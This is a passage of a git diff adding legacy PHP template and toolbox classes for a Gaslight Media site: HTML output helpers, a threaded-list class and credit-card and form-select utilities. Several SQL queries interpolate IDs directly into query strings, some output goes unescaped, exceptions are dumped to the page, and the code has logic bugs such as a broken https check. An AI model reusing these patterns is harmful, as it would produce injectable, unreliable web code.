+                                               $data[$k][$key] = GLM_TEMPLATE::set_file($value,
+                                                       $data[$k][$key.'name']);
+                                       } elseif ($key == "address") {
+                                               $data[$k][$key] =  GLM_TEMPLATE::set_address($data[$k]);
+                                       } elseif ($key == "id") {
+                                               $data[$k][$key] = $value;
+                                       } else {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text($value);
+                                       }
+                               }
+                       }
+                       return $data;
+               }
+               return false;
+       }
+
+       //      }}}
+       //      {{{     set_email()
+
+       /**
+       * set_email:Set the email string
+       * <code><p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:{$email}" target="_blank">{$text}</a></p></code>
+       * @param string $email: The email as string
+       * @param string $contact: The contactname this is used as the link text
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_email($email, $contact)
+       {
+               if ($email != "") {
+                       if ($contact != "") {
+                               $email = '<p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($contact).'</a></p>';
+                       } else {
+                               $email = '<p><strong>Email:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.htmlspecialchars($email).'</a></p>';
+                       }
+               }
+               return $email;
+       }
+
+       //      }}}
+       //      {{{ set_fax()
+
+       /**
+       * set_fax:Set the fax string
+       * <code><p><strong>Fax:</strong>&nbsp;&nbsp;{$text}</p></code>
+       * @param string $text: The text as string
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_fax($text)
+       {
+               if ($text != "") {
+                       $text = '<p><strong>Fax:</strong>&nbsp;&nbsp;'.htmlspecialchars($text).'</p>';
+               }
+               return $text;
+       }
+
+       //      }}}
+    // {{{ set_file()
+
+       /**
+       * set_file:Set the file string
+       * <code><p><strong>Contact Name:</strong>&nbsp;{$text}</p></code>
+       * @param string $text: The text as string
+       * @param string $name: The file name displayed
+       * @uses URL_BASE
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_file($text, $name)
+       {
+               if ($text != "") {
+                       $outtext = '<p><a';
+                       if (preg_match("/[.]([A-Z0-9]{3}$)/i", $text, $tmp)) {
+                               $outtext .= ' class="file-download '.strtolower($tmp[1]).'"';
+                       }
+                       $outtext .= ' href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+                       if ($name) {
+                               $outtext .= htmlspecialchars($name);
+                       } else {
+                               $outtext .= htmlspecialchars($text);
+                       }
+                       $outtext .= '</a>';
+                       if (preg_match("/[.]([A-Z0-9]{3}$)/i", $text, $tmp)) {
+                // don't output second link
+                               //$outtext .= '<a href="'.BASE_URL.'download.php?file='.$text.'" class="download">Click here to Download&nbsp;</a>';
+                       }
+                       $outtext .= '</p>';
+               }
+               return $outtext;
+       }
+
+       //      }}}
+       //      {{{ set_header()
+
+       /**
+       * set_header:Set the header string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::header_begin()
+       * @uses GLM_TEMPLATE::header_end()
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_header($text)
+       {
+               if ($text != "") {
+                       $text = $this->header_begin.$text.$this->header_end;
+               }
+               return $text;
+       }
+
+       //      }}}
+       //      {{{ set_img()
+
+       /**
+       * set_img:Set the image string
+       * <p><code>
+       * <div class="image{$align}" style="width: {$width}px" src="{$size}{$image}" {$titletag}>
+       * <div class="imagecaption">{$caption}</div>
+       * </div>
+       * </code>
+       * </p>
+       *
+       * @param string $image: The image
+       * @param string $size: The path
+       * @param string $align: The alignment
+       * @param string $name: The image_name (displayed under image)
+       * @param string $alt_title text for use in alt and title tags
+       * @param string $caption Text for image caption if given
+       * @uses GLM_TEMPLATE::get_image_path()
+       *
+       * @return void
+       * @access public
+       **/
+       function set_img($image, $size, $align, $alt_title = NULL, $caption = NULL)
+       {
+               if ($image != "") {
+                       if ($caption != '') {
+                               $caption = str_replace('&amp;','&',$caption);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($caption)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       } elseif ($alt_title != '') {
+                               $alt_title = str_replace('&amp;','&',$alt_title);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($alt_title)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       } else {
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+
+                       if ($align != "") {
+                               $img_align = 'class="image'.$align.'"';
+                       }
+                       $path = $this->get_image_path();
+                       if (is_file($path.$image)) {
+                               $image_size = getimagesize($path.$image);
+                               $img_attr = $image_size[3];
+                       } else {
+                $imServer = new Toolkit_Image_Server();
+                $image_size = $imServer->getImageSize($size.$image);
+                //$image_size[0] = $ret['width'];
+                //$image_size[1] = $ret['height'];
+            }
+                       $img = '<div '.$img_align.' style="width: '.$image_size[0].'px">';
+                       $img .= '<img '.$img_attr.' src="'.$size.$image.'" '.$titletag.'>';
+                       if ($caption) {
+                               $img .= '<div class="imagecaption">'.$caption.'</div>';
+                       }
+                       $img .= '</div>';
+                       return $img;
+               }
+       }
+
+       //      }}}
+       //      {{{ set_member()
+
+       /**
+        * set_member
+        *
+        * @access public
+        * @return string
+        */
+       function set_member()
+       {
+               if (MEMBERS_DB && $this->catid) {
+                       $member =& new Toolkit_Members_Display($this->dbh);
+            try {
+                $res = $member->setCatId($this->catid);
+            } catch (PEAR_Exception $e) {
+                return Toolkit_Common::handleError($e);
+            }
+            $member->setMemberSections();
+            return $member;
+               }
+       }
+
+       //      }}}
+       //      {{{ set_name_url()
+
+       /**
+        * setNameUrl:
+        * @param string $name :
+        *
+        * @return string
+        * @access public
+        */
+       function set_name_url( $name )
+       {
+               $name = str_replace(" ","-",$name);
+               $name = preg_replace("/[\/#&?'\"]|amp;/","",strip_tags( strtolower( trim( $name ) ) ) );
+               return htmlspecialchars( $name );
+       }
+
+       //      }}}
+       //      {{{ set_pages()
+
+       /**
+        * set_pages: grab the globals for the pages an use this for
+        *      the pages array for the class
+        *
+        * @return void
+        * @access public
+        **/
+       function set_pages($pages)
+       {
+               if (is_array($pages)) {
+                       $this->pages =& $pages;
+               }
+       }
+
+       //      }}}
+       //      {{{ set_phone()
+
+       /**
+       * set_phone:Set the phone string
+       * <code><p><strong>Phone:</strong>&nbsp;&nbsp;{$text}</p></code>
+       * @param string $text: The text as string
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_phone($text)
+       {
+               if ($text != "") {
+                       $text = '<p><strong>Phone:</strong>&nbsp;&nbsp;'.$text.'</p>';
+               }
+               return $text;
+       }
+
+       //      }}}
+       //      {{{ set_subheader()
+
+       /**
+       * set_subheader:Set the subheader string
+       * @param string $text: The text as string
+       * @uses GLM_TEMPLATE::subheader_begin()
+       * @uses GLM_TEMPLATE::subheader_end()
+       *
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_subheader($text)
+       {
+               if ($text != "") {
+                       $text = $this->subheader_begin.$text.$this->subheader_end;
+               }
+               return $text;
+       }
+
+       //      }}}
+       //      {{{ set_text()
+
+       /**
+       * set_text:Set the contact string
+       * <code><p>{$text}</code>
+       * @param string $text: The text as string
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_text($text)
+       {
+               if ("" == str_replace("<br />", "", trim($text))) {
+                       return false;
+               }
+               if ($text != "") {
+                       $text = $this->keyword_replace($text);
+                       $text = $text;
+               }
+               return $text;
+       }
+
+       //      }}}
+       //      {{{ set_toolbox_to_category_array()
+
+       function set_toolbox_to_category_array(){
+               $category_toolbox[1] = 70;// Places to Stay
+               $category_toolbox[20] = 71;// Things to Do
+               $category_toolbox[19] = 72;// Food & Spirits
+               $category_toolbox[24] = 73;// Camping
+               $category_toolbox[40] = 74;// Travel Services
+               $category_toolbox[25] = 75;// Attractions
+               $category_toolbox[41] = 76;// Golf
+               $category_toolbox[42] = 77;// Real Estate
+               $category_toolbox[43] = 78;// Shopping
+               $category_toolbox[44] = 79;// Recreation
+               $this->category_toolbox = $category_toolbox;
+       }
+
+       //      }}}
+       //      {{{     set_url()
+
+       /**
+       * set_url:Set the url string
+       * <p>
+       * <code><p><a href="http://{$url}" target="_blank">{$text}</a></code>
+       * </p>
+       *
+       * @param string $url: The url
+       * @param string $text: The text as string
+       *
+       * @return string $text
+       * @access public
+       **/
+       function set_url($url, $text)
+       {
+               if ($url != "") {
+                       if (!$text) {
+                               $text = $url;
+                       }
+                       if (strtolower(substr($url, 0, 7) ) == "https://") {
+                               $url = '<p><a href="'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       } else {
+                               $url = '<p><a href="http://'.$url.'" target="_blank">'.htmlspecialchars($text).'</a></p>';
+                       }
+               }
+               return $url;
+       }
+
+       //      }}}
+       //      {{{ show_catheader()
+
+       /**
+        * show_catheader:
+        *
+        * @param integer $catid:
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access  public
+        **/
+       function show_catheader($catid)
+       {
+               $query = "SELECT category FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if ($data[0][category]!="") {
+                       $header = $data[0][category];
+               } else {
+                       $header = '&nbsp;';
+               }
+               echo $header;
+       }
+
+       //      }}}
+       //      {{{ show_catimg()
+
+       /**
+        * show_catimg:output the category image.
+        *
+        * @param integer $catid: The catid for the page.
+        * @uses GLM_TEMPLATE::MIDSIZED
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return void
+        * @access  public
+        */
+       function show_catimg($catid)
+       {
+               $query = "SELECT image FROM bus_category WHERE id = $catid";
+               $data = $this->DB->db_auto_get_data($query);
+               if ($data[0]["image"]!="") {
+                       $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+               } else {
+                       $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+               }
+               echo $img;
+               echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+       }
+
+       //      }}}
+       //      {{{ sort_childs()
+
+       /**
+        * sort_childs:
+        * @param array $threads:
+        *
+        * @return  string
+        * @access  public
+        */
+       function sort_childs($threads)
+       {
+               foreach($threads as $var=>$value) {
+                       $childs[$value["parent"]][$value["id"]] = $value;
+               }
+               return $childs;
+       }
+
+       //      }}}
+       //      {{{ sub_nav()
+
+       /**
+        * sub_nav:Create a sub navigation 4 across
+        *
+        * @param integer $catid: The catid for the page
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return void
+        * @access public
+        */
+       function sub_nav($catid)
+       {
+               $newcatid = $this->get_parent_id($catid);
+               if ($newcatid != 0) {
+                       $catid = $newcatid;
+               }
+               $query1 = "SELECT category FROM bus_category WHERE id = $catid";
+               $data1 = $this->DB->db_auto_get_data( $query1 );
+               $out = '<div id="subnav"> ';
+
+               $query = "SELECT id,category,intro FROM bus_category WHERE parent = $catid ".$this->active_query." ORDER BY pos";
+               $data = $this->DB->db_auto_get_data($query);
+               if (is_array($data)) {
+                       $counter = 1;
+                       foreach ($data as $key => $val) {
+                               $url = $this->get_seo_url($val['id']);
+                               $title = strip_tags(addslashes($val['intro']));
+                               //GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_Name( $val['id'],"bus_category",$this->DB ) );
+                               $out .=  '<a title="'.$title.'" href="'.$url.'">';
+                               $out .= $val["category"];
+                               $out .= '</a>';
+                       }
+               }
+               $out .= '</div>';
+               return $out;
+       }
+
+       //      }}}
+
+       //      {{{ title()
+
+       /**
+        * title: create the title for the page.
+        * this should be only done for all but the home page.
+        * $title = ( $catid != 1 ) ? $toolbox->title() : '';
+        *
+        * @uses GLM_DB::db_auto_get_data()
+        *
+        * @return  string
+        * @access public
+        */
+       function title()
+       {
+        $query = "
+        SELECT category,intro,title
+          FROM bus_category
+         WHERE id = :id";
+        try {
+            $stmt = $this->dbh->prepare($query);
+            $stmt->bindParam(":id", $this->catid, PDO::PARAM_INT);
+            $stmt->execute();
+            $data = $stmt->fetchAll();;
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage());
+        }
+
+               if ($data[0]['title']) {
+                       $title = strip_tags($data[0]['title']);
+        } else if ($data[0]['intro']) {
+                       $title = strip_tags($data[0]['intro']);
+               }       else {
+                       $title = strip_tags($data[0]['category']);
+               }
+               return htmlentities($title.' - ',ENT_QUOTES,'UTF-8');
+       }
+
+       //      }}}
+
+       //      {{{ valid_email()
+
+       /**  valid email
+        *
+        * <p>Checks for a valid format and good (mx check)
+        * email address.</p>
+        * @deprecated using GLM_TOOLBOX::valid_email()
+        * @uses GLM_TOOLBOX::valid_email()
+        *
+        * @param string email the email address as string.
+        * @return boolean
+        */
+       function valid_email( $email )
+       {
+               return GLM_TOOLBOX::valid_email( $email );
+       }
+
+       //      }}}
+}
+?>
diff --git a/classes/class_threads.inc b/classes/class_threads.inc
new file mode 100644 (file)
index 0000000..29649b8
--- /dev/null
@@ -0,0 +1,86 @@
+<?php
+class Thread {    
+       var $beginLevel = "<ul>";
+       var $beginLevel2 = "<ul>";
+    var $endLevel = "</ul>";
+    var $beginItem = "<li>";
+    var $beginItem2 = "<li>";
+    var $endItem = "</li>";
+    var $wholeThread;
+       var $select_value;
+       var $bg_style = array();
+    function Thread( $code = "", $select_value = "" ) {
+               if( !empty( $code ) ) {    
+                       $this->beginLevel = $code['beginLevel'];
+                       $this->beginLevel2 = $code['beginLevel2'];
+            $this->endLevel = $code['endLevel'];
+            $this->beginItem = $code['beginItem'];
+            $this->beginItem2 = $code['beginItem2'];
+            $this->endItem = $code['endItem'];
+        }
+               if( $select_value ){
+                       $this->select_value = $select_value;
+               }
+               $this->bg_style[0] = 'background-color:#77A94C;color:#000;';
+               $this->bg_style[1] = 'background-color:#9FCF74;color:#000;';
+               $this->bg_style[2] = 'background-color:#C8EFA4;color:#000;';
+               $this->bg_style[3] = 'background-color:#E6FFCF;color:#000;';
+               $this->bg_style[4] = 'background-color:#ffffff;color:#000;';
+    }
+    function sortChilds( $threads ) {    
+               while( list( $var, $value ) = each( $threads ) ){
+            $childs[$value['parent']][$value['ID']] = $value;
+               }
+        return $childs;
+    }
+       function convertToThread( $threads, $thread ){    
+               static $count;
+               if( !$count ){
+                       $this->wholeThread .= $this->beginLevel2;
+               }
+               else{
+                       $this->wholeThread .= $this->beginLevel;
+               }
+        while( list( $parent, $value ) = each( $thread ) ){
+                       if( $threads[$parent] ){
+                               $this->wholeThread .= $this->beginItem2;
+                       }
+                       else{
+                               $this->wholeThread .= $this->beginItem;
+                       }
+                       $count++;
+                       $this->wholeThread .= $value['content'].$this->endItem."\n";
+                       if( $threads[$parent] && !$value['closed'] ){
+                $this->convertToThread($threads, $threads[$parent]);
+                       }
+                       $count--;
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+    function convertToSelect( $threads, $thread ){    
+               static $count;
+               $count = ( $count <= 0 ) ? 0 : $count;
+        while( list( $parent, $value ) = each( $thread ) ){
+                       $count++;
+                       $this->wholeThread .= '<option value="'.$value['value'].'"';
+                       if( $this->select_value == $value['value'] ){
+                               $this->wholeThread .= ' selected';
+                       }
+                       $this->wholeThread .= ' style="'.$this->bg_style[$count].'"';
+                       $this->wholeThread .= '>';
+                       if( $count != 0 ){
+                               $this->wholeThread .= str_repeat( "&nbsp;&nbsp;", $count );
+                       }
+                       $this->wholeThread .= htmlspecialchars( $value['text'] );
+                       $this->wholeThread .= '</option>'."\n";
+                       if( $threads[$parent] && !$value['closed'] ){
+                $this->convertToSelect( $threads, $threads[$parent] );
+                       }
+                       $count--;
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+}
+?>
diff --git a/classes/class_toolbox.inc b/classes/class_toolbox.inc
new file mode 100755 (executable)
index 0000000..fe6cdb4
--- /dev/null
@@ -0,0 +1,1657 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+
+/** 
+ *  Toolbox Classes :)
+ *
+ *  PHP version 5
+ * 
+ *  <p>
+ *  These classes and any code is not licensed for anyone but gaslight to use
+ *  </p>
+ *
+ * @category  Toolbox
+ * @package   GLM_TOOLBOX
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2005-2008 Gaslight Media
+ * @license   http://app.gaslightmedia.com/license.php Gaslight Media  
+ * @link      http://www.gaslightmedia.com www.gaslightmedia.com           
+ * @since     $Date: 2009/09/17 20:09:04 $
+ */
+/**
+ *    Toolbox Class :)
+ *
+ * <p><b>NOTICE</b>
+ *  Im going to be moving all functions from the setup.phtml
+ *  file and putting it into this</p>
+ *  <p>class.  This is so we can eventially move
+ *  everything to one siteinfo.inc file.</p>
+ *  <kbd>matrix@devsys Does this work?</kbd>
+ * 
+ * @todo move all functions from setup.phtml into here
+ */
+define('GLM_TOOLBOX', true);
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  Toolbox
+ * @package   GLM_TOOLBOX
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2005-2008 Gaslight Media
+ * @license   http://app.gaslightmedia.com/license.php Gaslight Media
+ * @link      http://www.gaslightmedia.com www.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+class GLM_TOOLBOX
+{
+    /** @var array php_version */
+    var $php_version;
+    /** @var boolean true if php is version < 4.2 */
+    var $php_old_pg;
+    // {{{ __construct()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    function __construct()
+    {
+        $this->php_version = $this->php_version_check();
+        $this->php_old_pg  = $this->php_old_pg();
+    }// }}}
+    // {{{ CC_date_entry($month, $year, $month_name, $year_name)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $month      Parameter description (if any) ...
+     * @param string $year       Parameter description (if any) ...
+     * @param string $month_name Parameter description (if any) ...
+     * @param string $year_name  Parameter description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function CC_date_entry($month, $year, $month_name, $year_name)
+    {
+        $cur_date = getdate();
+        if ($month == "") {
+            $month = $cur_date['mon'];
+        }
+        if ($year == "") {
+            $year = $cur_date['year'];
+        }
+        $date = '<select name="'.$month_name.'">';
+        for ($i = 1; $i < 13; $i++) {
+            $date .= '<option value="';
+            if ($i < 10) {
+                $date .= "0";
+            }
+            $date .= $i.'"';
+            if ($i == $month) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';    
+        }
+        $date .= '</select>';
+        $date .= '<select name="'.$year_name.'">';
+        for ($i = $year; $i < $year + 15; $i++) {
+            $date .= '<option value="'.$i.'"';
+            if ($i == $year) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';
+        }
+        $date .= '</select>';
+        return $date;    
+    }    // }}}
+    // {{{ CreditVal($Num, $Name = '', $Accepted='')
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $Num      Parameter description (if any) ...
+     * @param string  $Name     Parameter description (if any) ...
+     * @param string  $Accepted Parameter description (if any) ...
+     * 
+     * @return boolean Return description (if any) ...
+     * @access public 
+     */
+    function CreditVal($Num, $Name = '', $Accepted='')
+    { 
+        $Name     = strtolower($Name);
+        $Accepted = strtolower($Accepted);
+        $GoodCard = 1;
+        $Num      = ereg_replace("[^[:digit:]]", "", $Num); 
+        switch ($Name) { 
+
+        case "mastercard" : 
+            $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+            break; 
+
+        case "visa" : 
+            $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+            break; 
+
+        case "americanexpress" : 
+            $GoodCard = ereg("^3[47].{13}$", $Num); 
+            break; 
+
+        case "discover" : 
+            $GoodCard = ereg("^6011.{12}$", $Num); 
+            break; 
+
+        case "dinerscard" : 
+            $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+            break;
+
+        default:
+            if (ereg("^5[1-5].{14}$", $Num)) {
+                $Name = "mastercard";
+            }
+            if (ereg("^4.{15}$|^4.{12}$", $Num)) {
+                $Name = "visa";
+            }
+            if (ereg("^3[47].{13}$", $Num)) {
+                $Name = "americanexpress";
+            }
+            if (ereg("^6011.{12}$", $Num)) {
+                $Name = "discover";
+            }
+            if (ereg("^30[0-5].{11}$|^3[68].{12}$", $Num)) {
+                $Name ="dinerscard";
+            }
+            break;
+        } 
+
+        // If there's a limit on card types we accept, check for it here.
+        if ($Accepted) {
+            $type_verified = false;
+            $brands        = explode(",", $Accepted);
+            foreach ($brands as $brand) {
+                if ($Name == $brand) {
+                    $type_verified = true;
+                }
+            }
+            if (!$type_verified) {
+                return false;
+            }
+        }
+        $Num   = strrev($Num); 
+        $Total = 0; 
+        for ($x=0; $x<strlen($Num); $x++) { 
+            $digit = substr($Num, $x, 1); 
+            if ($x/2 != floor($x/2)) { 
+                $digit *= 2; 
+                if (strlen($digit) == 2) {
+                    $digit = substr($digit, 0, 1) + substr($digit, 1, 1); 
+                }
+            } 
+            $Total += $digit; 
+        } 
+        if ($GoodCard && $Total % 10 == 0) {
+            return true; 
+        } else {
+            return false; 
+        }
+    }// }}}
+    // {{{ build_checklist($name, $data)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $name Parameter description (if any) ...
+     * @param array  $data Parameter description (if any) ...
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function build_checklist($name, $data)
+    {
+        if (!is_array($selected)) {
+            $sel[0] = $selected;
+        } else {
+            $sel = $selected;
+        }
+        if (!is_array($data)) {
+            return false;
+        }
+        foreach ($data as $field => $title) {
+            $out .= '<label for="'.$name.'['.$field.']">
+                <input type="checkbox" id="'.$name.'['.$field.']" 
+                name="'.$name.'['.$field.']" value="t"';
+            if ($_POST[$field] == 't') {
+                $out .= ' checked';
+            }
+            $out .= '>'.$title.'</label>';
+        }
+        return $out;
+    }// }}}
+    // {{{ build_picklist($fieldname, $data, $selected, $type = "standard",$auto = 0,$width = null)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string  $fieldname Parameter description (if any) ...
+     * @param array   $data      Parameter description (if any) ...
+     * @param unknown $selected  Parameter description (if any) ...
+     * @param string  $type      Parameter description (if any) ...
+     * @param integer $auto      Parameter description (if any) ...
+     * @param string  $width     Parameter description (if any) ...
+     * 
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+    function build_picklist($fieldname, $data, $selected, $type = "standard",$auto = 0,$width = null)
+    {
+        if (!is_array($selected)) {
+            $sel[0] = $selected;
+        } else {
+            $sel = $selected;
+        }
+        if ($auto == 1) {
+            $autosubmit = "onChange=\"form.submit()\"";
+        }
+        if ($width) {
+            $autosubmit .= "style=\"width:".$width."px;\"";
+        }
+        switch($type) {
+        case "multiple":
+            $str = "<select name=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+            while (list($key, $val) = each($data)) {
+                if (in_array($key, $sel)) {
+                    $select = " selected ";
+                } else {
+                    $select = "";
+                }
+                $str .= "    <option value=\"$key\"".$select.">$val\n";
+            }
+            break;
+        case "simple":
+            $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+            for ($i = 0; $i < count($data); $i++) {
+                $select = (in_array($data[$i], $sel)) ? " selected ":"";
+                $str   .= "    <option value=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+            }
+            break;
+
+        case "standard":
+        default:
+            $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+            while (list($key, $val) = each($data)) {
+                $select = (in_array($key, $sel)) ? " selected ":"";
+                $str   .= "    <option value=\"$key\"".$select.">$val\n";
+            }
+            break;
+        }
+        $str .= "</select>\n";
+        return $str;
+    }// }}}
+    // {{{ build_radios($name, $data)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $name Parameter description (if any) ...
+     * @param array  $data Parameter description (if any) ...
+     * 
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function build_radios($name, $data)
+    {
+        if (!is_array($selected)) {
+            $sel[0] = $selected;
+        } else {
+            $sel = $selected;
+        }
+        if (!is_array($data)) {
+            return false;
+        }
+        $count = 1;
+        foreach ($data as $field => $title) {
+            $out .= '<label for="'.$name.'-'.$count.'">
+                <input type="radio" id="'.$name.'-'.$count.'" 
+                name="'.$name.'" value="'.$field.'"';
+            if ($_POST[$name] == $field) {
+                $out .= ' checked';
+            }
+            $out .= '>'.$title.'</label><br>';
+            $count++;
+        }
+        return $out;
+    }// }}}
+    // {{{ calendar_entry_input($name, $value, $icon_path)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string  $name      Parameter description (if any) ...
+     * @param unknown $value     Parameter description (if any) ...
+     * @param string  $icon_path Parameter description (if any) ...
+     * 
+     * @return string  Return description (if any) ...
+     * @access public 
+     */
+    function calendar_entry_input($name, $value, $icon_path)
+    {
+        $out = '
+        <input value="'.(($value)?$value:'Enter Date').'" 
+        style="width:100px;float:left;" type="text" name="'.$name.'" 
+        id="'.$name.'" readonly="1">
+        <img src="'.$icon_path.'img.gif" id="'.$name.'_trigger" 
+        style="cursor: pointer; border: 1px solid red;" title="Date selector"
+        onmouseover="this.style.background=\'red\';" 
+        onmouseout="this.style.background=\'\'">    
+            ';
+        return $out;
+    }// }}}
+    // {{{ calendar_entry_javascript($name, $value)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $name  Parameter description (if any) ...
+     * @param string $value Parameter description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function calendar_entry_javascript($name, $value)
+    {
+        $out .= '
+            <script type="text/javascript">
+    Calendar.setup({
+        inputField     :    "'.$name.'",        // id of the input field
+        ifFormat       :    "%m/%e/%Y",         // format of the input field
+        button         :    "'.$name.'_trigger",// trigger for the calendar (button ID)
+        align          :    "Bl",               // alignment (defaults to "Bl")
+        singleClick    :    true,
+        step           :    1
+
+        ';
+        if ($value && $value != 'Enter Date') {
+            $out .= ',date : "'.$value.'"';
+        }
+        $out .= '
+    });
+</script>';
+        return $out;
+    }// }}}
+    // {{{ contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param string $month      Month
+     * @param string $day        Day
+     * @param string $year       Year
+     * @param string $month_name id and name value of month
+     * @param string $day_name   id and name value of day
+     * @param string $year_name  id and name value of year
+     * @param string $onChange   must be onChange="javzascript;"
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name,$onChange = null)
+    {
+        $cur_date = getdate();
+
+        if ($month == "") {
+            $month = $cur_date['mon'];
+        }
+        if ($day == "") {
+            $day = $cur_date['mday'];
+        }    
+        if ($year == "") {
+            $year = $cur_date['year'];
+        }
+        $date = '<select id="'.$month_name.'" name="'.$month_name.'" '.$onChange.'>';
+        for ($i=1;$i<13;$i++) {
+            $date .= '<option value="';
+            if ($i < 10) {
+                $date .= "0";
+            }
+            $date .= $i.'"';
+            if ($i == $month) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';    
+        }
+        $date .= '</select>';
+        $date .= '<select id="'.$day_name.'" name="'.$day_name.'" '.$onChange.'>';
+        for ($i=1;$i<32;$i++) {
+            $date .= '<option value="';
+            if ($i < 10) {
+                $date .= "0";
+            }
+            $date .= $i.'"';
+            if ($i == $day) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';    
+        }    
+        $date  .= '</select>';
+        $date  .= '<select id="'.$year_name.'" name="'.$year_name.'" '.$onChange.'>';
+        $ystart = $cur_date['year'] - 10;
+        for ($i=$ystart;$i<=$year;$i++) {
+            $date .= '<option value="'.$i.'"';
+            if ($i == $year) {
+                $date .= ' selected';
+            }
+            $date .= '>'.$i.'</option>';
+        }
+        $date .= '</select>';
+        return $date;
+    }// }}}
+    // {{{ cp1252_to_utf8($str)
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $str Parameter description (if any) ...
+     * 
+     * @return array   Return description (if any) ...
+     * @access public 
+     */
+    function cp1252_to_utf8($str)
+    {
+        $cp1252_map = array(
+            "\xc2\x80" => "\xe2\x82\xac", /* EURO SIGN */
+            "\xc2\x82" => "\xe2\x80\x9a", /* SINGLE LOW-9 QUOTATION MARK */
+            "\xc2\x83" => "\xc6\x92",    /* LATIN SMALL LETTER F WITH HOOK */
+            "\xc2\x84" => "\xe2\x80\x9e", /* DOUBLE LOW-9 QUOTATION MARK */
+            "\xc2\x85" => "\xe2\x80\xa6", /* HORIZONTAL ELLIPSIS */
+            "\xc2\x86" => "\xe2\x80\xa0", /* DAGGER */
+            "\xc2\x87" => "\xe2\x80\xa1", /* DOUBLE DAGGER */
+            "\xc2\x88" => "\xcb\x86",    /* MODIFIER LETTER CIRCUMFLEX ACCENT */
+            "\xc2\x89" => "\xe2\x80\xb0", /* PER MILLE SIGN */
+            "\xc2\x8a" => "\xc5\xa0",    /* LATIN CAPITAL LETTER S WITH CARON */
+            "\xc2\x8b" => "\xe2\x80\xb9", /* SINGLE LEFT-POINTING ANGLE QUOTATION */
+            "\xc2\x8c" => "\xc5\x92",    /* LATIN CAPITAL LIGATURE OE */
+            "\xc2\x8e" => "\xc5\xbd",    /* LATIN CAPITAL LETTER Z WITH CARON */
+            "\xc2\x91" => "\xe2\x80\x98", /* LEFT SINGLE QUOTATION MARK */
